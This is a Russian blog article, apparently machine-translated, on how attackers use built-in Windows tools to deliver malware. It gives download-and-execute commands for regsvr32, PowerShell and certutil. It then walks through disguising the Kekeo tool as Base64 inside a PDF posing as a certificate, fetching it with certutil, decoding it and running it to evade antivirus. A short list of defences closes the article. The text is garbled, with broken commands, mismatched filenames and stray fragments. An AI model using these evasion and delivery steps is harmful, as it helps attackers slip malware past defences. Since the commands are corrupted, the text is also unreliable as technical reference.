Найти тему
IT-Mdd Master

Как киберпреступники обходят современные системы безопасности?

Оглавление

В сегодняшней статье мы представляем интересный метод обхода специализированного программного обеспечения безопасности в ИТ-среде. Мы показываем, что в сфере кибербезопасности еще многое предстоит сделать. В нижней части статьи мы предоставили советы о том, как защитить себя.

Дело в том, что становится все сложнее использовать методы киберпреступников для отправки жертвам прямых ссылок или зараженных файлов в электронных письмах. Современные технологии безопасности, используемые в компаниях, как правило, способны эффективно отразить этот тип угрозы извне. Позитивная информация также заключается в том, что уровень осведомленности о безопасности среди сотрудников компаний увеличивается, и они больше не нажимают на странные ссылки или не открывают подозрительные электронные письма, которые чаще всего являются источником фишинговых или мошеннических кампаний. Это приведет к серьезному заражению их компьютеров.

Однако, если возникает такая ситуация, когда злоумышленникам каким-то образом удается обойти вышеуказанные барьеры и получить доступ к компьютеру, жертвы могут столкнуться с еще одним препятствием - блокированием приложений. Им будет все труднее запускать неизвестные приложения, которые загружают дополнительные программы или библиотеки для выполнения дальнейших шагов атаки . Такие операции могут быть заблокированы операционной системой (в зависимости от версии) или другими инструментами безопасности в зависимости от того, внедрила ли их компания и правильно ли их настроила. Это побуждает киберпреступников искать новые, изощренные и уникальные обходные пути / методы и способы, позволяющие незаметно загружать и запускать вредоносные программы / вымогатели на компьютере компании.

К сожалению, как и в World of Progress в области методов исследования, оказалось, что появились новые возможности обойти эти проблемы благодаря использованию некоторых встроенных в Windows системных программ, которые в своих расширенных функциях позволяют загружать вредоносный код.

Поэтому киберпреступники вынуждены использовать все более изощренные методы и использовать новейшие технологии для маскировки этого типа трафика, чтобы его нельзя было заметить в сети и с помощью решений безопасности, основанных на обнаружении сигнатур угроз.

Какие методы загрузки вредоносных программ используют современные киберпреступники?

Исходя из опыта и на основе нашей работы с клиентами, мы наблюдали три наиболее распространенных метода загрузки вредоносных программ и программ-вымогателей на компьютеры Windows, которые еще не легко обнаружить в системах безопасности. К ним относятся:

  • Regsvr32.exe - позволяет установку с определенного URL специально подготовленного JScript. Например, с помощью команды:
    Regsvr32 / s / n / u /i:https://server/ransomware.sct library.dll
  • Powershell.exe - широко используется киберпреступниками. Например, с помощью команды:
    powershell -c "(New-Object System.Net.WebClient) .DownloadString ('URL')"
  • CertUtil.exe - позволяет вам выполнить две интересные команды, которые проверят, отвечает ли указанный URL-адрес, загрузят ли файл с указанного адреса и сохранят ли его под любым именем и расширением:
    certutil -ping [URL]
    certutil -urlcache -split -f [URL] [ выходной_файл]

Преимущество использования вышеуказанных инструментов в мире киберпреступности заключается в том, что они встроены в операционную систему Windows, их не нужно устанавливать или загружать дополнительно, в то время как их запуск не связан с антивирусными программами (в том числе встроенными в Защитник Windows) как источником чего-то плохого, поскольку их использование связано с обычными операциями, выполняемыми в операционной системе.

Конечно, кто-то может задать вопрос, что произойдет, если мы будем контролировать запуск программ Applocker на компьютерах компании (встроенных начиная с Windows 7) или стороннего программного обеспечения, контролирующего запущенные процессы? Конечно, здесь могут возникнуть некоторые трудности в зависимости от того, как эти механизмы реализованы, но в особых случаях и на менее защищенных компьютерах выполнение этих команд на 99% дает положительный результат и не обнаруживается.

Запрет на их использование может привести к серьезному ограничению функционирования системы, а также к проблемам в работе некоторых приложений, работа которых зависит от них. Это дает киберпреступникам возможность использовать эти уязвимости в системе и использовать их для использования вредоносным ПО, которое они пишут.

В среде киберпреступности есть и другие команды, которые также позволяют выполнять вредоносный код на стороне компьютера. Стоит следить за ними. Эти команды включают в себя:

  • appsyncvpublishing.exe,
  • control.exe,
  • csc.exe,
  • cscript.exe / wscript.exe,
  • forfiles.exe,
  • msbuild.exe,
  • msiexec.exe,
  • mshta.exe,
  • rundll32.exe,
  • winrm.exe,
  • Wmic.exe,

тогда как в данный момент мы не хотели бы фокусироваться на них, потому что мы хотели бы более подробно описать наиболее интересный метод с использованием инструмента CertUtil , упомянутого выше .

Установка сертификата, или, может быть, мы загружаем вредоносное ПО?

Обнаружен в 2017 году Кейси Смит Аналитик безопасности, метод загрузки Malware CertUtil может быть использован для загрузки вредоносных программ. Он использует встроенный в Microsoft Windows инструмент управления сертификатами CertUtil.exe и доступен каждому пользователю Windows. С помощью этой программы вы можете устанавливать, создавать резервные копии, удалять, управлять и выполнять различные функции, связанные с сертификатами и хранилищами сертификатов в Windows.

Одной из функций CertUtil является возможность загрузить сертификат или любой другой файл с удаленного URL-адреса и сохранить его как локальный файл, используя синтаксис:

> certutil.exe -urlcache -split -f [URL] выходной_файл

Использование certutil можно сравнить с командой curl (используется в системах Linux). Благодаря CertUtil у киберпреступника есть широкие возможности действовать, потому что он может использовать инструмент для загрузки и запуска буквально всего, что мы ему даем - это чрезвычайно опасная ситуация.

Есть чего бояться?

Конечно, ДА! Большинство программ для обеспечения безопасности или решения для пограничных сетей используют сигнатурный подход к обнаружению угроз. Если они видят код, который они сопоставили на основе сравнения с ранее загруженными сигнатурами вредоносных программ, они не пропускают его через сеть и не пытаются изолировать.

Некоторые киберпреступники идут дальше - перед загрузкой файла они кодируют его в Base64 и загружают по зашифрованному каналу HTTPS . После загрузки на свой компьютер с помощью команды:

> certutil.exe -urlcache -split -f [URL] выходной_файл

они могут декодировать входной файл в исполняемый файл и остерегаться - они также могут использовать тот же инструмент CertUtil для этой цели:

> certutil.exe -decode output_file.exe_file

Использование этих двух команд дает злоумышленникам два дополнительных преимущества:

  • закодированный код имеет измененную форму, что затрудняет его обнаружение антивирусным программным обеспечением и решениями пограничного прокси-сервера или даже брандмауэрами.
  • связь по зашифрованному каналу HTTPS скрывает слой данных, который отправляется по сети, благодаря чему пограничные брандмауэры не смогут анализировать содержимое файла для сравнения его с сигнатурами вредоносных программ.

Давайте тщательно протестируем наши системы безопасности!

Чтобы лучше проиллюстрировать проблему и увидеть, насколько мощным и опасным является этот метод, давайте проведем тест, заключающийся в загрузке инструмента Kekeo от Бенджамина Дельпа , чей код общедоступен в Интернете и может быть свободно изменен. Больше возможностей Kekeo в кампании KILLCHAIN . Автор этого инструмента называет его небольшим инструментом для игры с билетами Kerberos. Удивительно, но Защитник Windows не рассматривает Kekeo как вредоносное ПО!

Для целей этого теста давайте использовать официально доступную версию Kekeo 2.1.0. Собственная компиляция и изменения в ней, безусловно, позволят вам скрыть еще больше от антивирусного программного обеспечения, но давайте посмотрим, что мы можем сделать на официальной версии Kekeo 2.1.0, используя Base64 и CertUtil .

1.
Сначала давайте проверим, как системы безопасности справляются с обнаружением официальной версии Kekeo. Сам файл весит
579КБ! Для этого мы загрузили наш файл на портал https://virustotal.com . Результат: только 10/68 механизмов безопасности рассматривают Kekeo как вредоносное ПО.

Официальная версия Kekeo 2.1.0 обнаружена 10/68 AV двигателями
Официальная версия Kekeo 2.1.0 обнаружена 10/68 AV двигателями

2.
Давайте сделаем системы безопасности немного сложнее и закодируем Kekeo в Base64. Чтобы сделать это быстрее, мы будем использовать портал
https://www.base64encode.org . Мы также можем закодировать программу с помощью других инструментов, доступных на рынке. Код Kekeo закодирован в base64 (вес файла немного увеличен до 773 КБ ) и сохранен под именем «pliczek.txt». Разве это не напоминает нам сертификат Base64?

Kekeo закодирован в Base64
Kekeo закодирован в Base64

3.
Повторите шаг 1, но на этот раз для нашего файла «Baseicz.txt», закодированного в Base64. Результат был вполне удовлетворительным, потому что только 4/56 решений обнаружили вредоносные программы.

Kekeo, закодированный в Base64, обнаружен 4/56 AV-движками
Kekeo, закодированный в Base64, обнаружен 4/56 AV-движками

4.
На этом этапе мы могли бы остановить и разместить файл по какому-нибудь интересному адресу в Интернете (конечно, зашифрованный HTTPS), но у нас возник соблазн выполнить еще один дополнительный шаг - поместить код Kekeo, закодированный в Base64, в документ PDF - самый популярный формат для отправки документов в компаниях 🙂 Чтобы еще больше скрыть бдительность систем безопасности в начале файла и в конце файла, мы добавили строки, часто соответствующие началу и концу сертификата, например, «—–BEGIN CERTIFICATE—–» и «—–END CERTIFICATE—–», и изменили расширение файла с PDF на популярное для сертификаты, например, для кодированных в Base64 сертификатов X.509 -
.cer или .crt, Помимо размера, файл будет выглядеть как сертификат. Пусть имя файла будет " my_new_certificate.cer "

Размер теперь увеличен до 1490 КБ , и файл " my_new_certificate.cer " вместе со вставленным кодом Kekeo, закодированным в Base64, выглядит следующим образом:

Kekeo закодирован в Base64 в формате PDF
Kekeo закодирован в Base64 в формате PDF

5.
На этом шаге мы повторим операцию, начиная с шага 1, и проверим, как системы безопасности будут обрабатывать измененный формат файла. К нашему удивлению, оказалось, что ни одна система не распознала вредоносный код, вставленный в PDF! Таким образом, вполне вероятно, что такой файл будет успешно загружен на рабочую станцию ​​или сохранен из сообщения электронной почты в виде вложения.

Kekeo, закодированный в Base64 и сохраненный в формате pdf, не обнаружен ни одним антивирусным ядром
Kekeo, закодированный в Base64 и сохраненный в формате pdf, не обнаружен ни одним антивирусным ядром

6.
Теперь мы можем загрузить поддельный «файл сертификата» на портал и загрузить его с помощью встроенного в систему инструмента CertUtil (конечно, есть и другие варианты доставки его пользователю - даже по электронной почте).
При загрузке сертификата с помощью инструмента CertUtil мы определенно затенем весь процесс потому что файл будет выглядеть как сертификат даже из командной строки.

Давайте загрузим файл « my_new_certificate.cer ». Для этого войдите в Windows 10 как обычный пользователь и загрузите файл «my_new_certificate.cer» с помощью команды и сохраните его как certificate.cer :

> certutil.exe -urlcache -split -f [URL] выходной_файл

Успешная загрузка файла из Интернета и сохранение его на диске локального компьютера.
Успешная загрузка файла из Интернета и сохранение его на диске локального компьютера.

7.
Затем мы открываем файл «
certificate.cer » в нашем любимом средстве просмотра PDF. Эми Выберите весь контент «CTRL + A» (важно, чтобы в настройках была включена опция автоматической прокрутки Adobe, в противном случае в тексте не все помечено). Вставляем весь контент в блокнот (233 страницы). Мы избавляемся от первой и последней вставленных строк «—– BEGIN CERTIFICATE—– » и « —–END CERTIFICATE—– », и нам нужно только декодировать чистый чистый код Base64 нашего приложения Kekeo. Конечно, мы сохраняем файл в блокноте как « encoded_certificate.cer »

Kekeo на локальном диске компьютера в виде закодированного сертификата
Kekeo на локальном диске компьютера в виде закодированного сертификата

8.
Последний шаг, который мы предпримем, - это декодирование файла Base64 с возможностью генерации выходного файла, который будет исполняемым файлом. Мы будем использовать следующую команду:

> certutil.exe -decode output_file.exe_file

-9
Программа Kekeo - готова к действию
Программа Kekeo - готова к действию

На последнем экране мы видим декодированное приложение «kekeo.exe» и его успешный запуск. Теперь мы знаем, что делать. Мы описали это здесь KEKEO

Как мы видим, мы смогли использовать инструмент CertUtil, встроенный в систему учетной записи обычного пользователя, для загрузки поддельного сертификата из Интернета, который содержал программу kekeo.exe, закодированную в Base64, затем расшифровал ее на компьютере жертвы и запустил программу.

Каковы механизмы защиты? Как жить с этим

Описанный выше случай трудно защитить, потому что он не обнаружен системами безопасности. Наблюдения и наш опыт показывают, что мы должны:

  • Реализуйте правильную блокировку систем перед запуском запрещенных приложений - даже если кому-то удастся загрузить приложение и декодировать его, приложение не сможет работать в системе
  • Запретить сетевую связь CertUtil и другие системные приложения из Интернета.
  • Мониторинг файловой активности (в частности, пользовательской активности над файлами в папке C: \ Windows \ system32) - у нас будет отслеживание того, что определенные типы файлов создаются или их имя изменяется.
  • Отключите важные компьютеры из Интернета.
  • Используйте распределители трафика SSL.
  • Используйте интеллектуальные пограничные межсетевые экраны с декодированием Base64.
  • Мониторинг подозрительных входов в систему и пользовательских изменений, включая действия KILLCHAIN

Машинное обучение будет здесь очень полезно, потому что оно может обнаружить необычное соединение рабочей станции с новыми сетевыми адресами и загрузить с них файлы. Мы не должны игнорировать такие тревоги и тщательно проверять, что в них произошло.